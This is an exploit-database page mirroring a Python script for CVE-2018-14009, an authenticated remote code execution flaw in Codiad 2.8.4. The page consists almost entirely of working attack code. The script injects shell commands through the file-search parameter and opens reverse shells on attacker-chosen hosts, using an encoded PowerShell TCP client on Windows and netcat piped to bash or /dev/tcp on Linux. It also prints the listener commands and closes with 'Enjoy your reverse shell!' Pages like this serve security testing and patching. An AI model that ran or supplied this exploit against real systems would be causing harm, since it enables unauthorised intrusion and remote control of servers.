Advertisement






Codiad 2.8.4 Remote Code Execution (Authenticated)

CVE Category Price Severity
CVE-2018-14009 CWE-78 Not specified High
Author Risk Exploitation Type Date
Ahmed Sultan High Remote 2021-03-24
CVSS EPSS EPSSP
CVSS:9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030166

Below is a copy:

Codiad 2.8.4 Remote Code Execution (Authenticated)
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)
# Discovery by: WangYihang
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Tested Version: Version: 2.8.4
# CVE: CVE-2018-14009

#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import json

session = requests.Session()


def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    response = session.post(url, data=data, verify=False)
    content = response.text
    print("[+] Login Content : %s" % (content))
    if 'status":"success"' in content:
        return True


def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(url, verify=False)
    content = response.text
    print("[+] Path Content : %s" % (content))
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False


def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return result.encode("base64").replace("\n", "")


def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")


def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)

        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)


def promote_yes(hint):
    print(hint)
    while True:
        ans = input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print("Incorrect input")


def main():
    if len(sys.argv) != 7:
        print("Usage : ")
        print("        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("Example : ")
        print("        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0]))
        print("        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0]))
        print("Author : ")
        print("        WangYihang <[email protected]>")
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print("[+] Please execute the following command on your vps: ")
        print("nc -lnvp %d" % (port))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print("[+] Please execute the following command on your vps: ")
        print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port))
        print("nc -lnvp %d" % (port + 1))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print("[+] Starting...")
    if not login(domain, username, password):
        print("[-] Login failed! Please check your username and password.")
        exit(2)
    print("[+] Login success!")
    print("[+] Getting writeable path...")
    path = get_write_able_path(domain)
    if path == False:
        print("[+] Get current path error!")
        exit(3)
    print("[+] Writeable Path : %s" % (path))
    print("[+] Sending payload...")
    exploit(domain, username, password, host, port, path, platform)
    print("[+] Exploit finished!")
    print("[+] Enjoy your reverse shell!")


if __name__ == "__main__":
    main()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum